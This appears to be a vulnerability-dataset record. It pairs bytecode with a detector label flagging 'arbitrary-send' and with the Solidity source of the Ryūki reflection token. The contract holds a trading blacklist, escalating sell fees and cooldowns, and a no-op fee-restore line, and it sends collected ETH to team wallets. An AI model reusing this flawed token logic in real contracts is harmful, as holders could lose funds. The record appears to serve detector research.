ffffffffffffffffffffffffffffff1614159050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816001600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515611c7557600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506003600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b611d21611f2e565b6000602060405190810160405280868152509150600160088054806001018281611d4b9190611f48565b916000526020600020900160008590919091506000820151816000019080519060200190611d7a929190611f74565b5050500390508063ffffffff1681141515611d9457600080fd5b7fb3b0cf861f168bcdb275c69da97b2543631552ba562628aa3c7317d4a6089ef281868660405180848152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015611e30578082015181840152602081019050611e15565b50505050905090810190601f168015611e5d5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1826004600083815260200190815260200160002081905550611e9060008583611b17565b5050505050565b6000806000841415611eac5760009150611ecb565b8284029050828482811515611ebd57fe5b04141515611ec757fe5b8091505b5092915050565b6000808284811515611ee057fe5b0490508091505092915050565b6000828211151515611efb57fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280611f42611ff4565b81525090565b815481835581811511611f6f57818360005260206000209182019101611f6e9190612008565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fb557805160ff1916838001178555611fe3565b82800160010185558215611fe3579182015b82811115611fe2578251825591602001919060010190611fc7565b5b509050611ff09190612037565b5090565b602060405190810160405280600081525090565b61203491905b808211156120305760008082016000612027919061205c565b5060010161200e565b5090565b90565b61205991905b8082111561205557600081600090555060010161203d565b5090565b90565b50805460018160011615610100020316600290046000825580601f1061208257506120a1565b601f0160209004906000526020600020908101906120a09190612037565b5b505600a165627a7a72305820e10bf7e2c741a6e9da41a5315fbc1584e32d39688f7b986fb312b724318f69340029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,192 |
0x7dd2e459697bcb8b0a9e398aab516a070e8500fa
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Myobu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Ryūki";
string private constant _symbol = "RYUKI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f5279c5ab6b690000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5259554b49000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473fffffff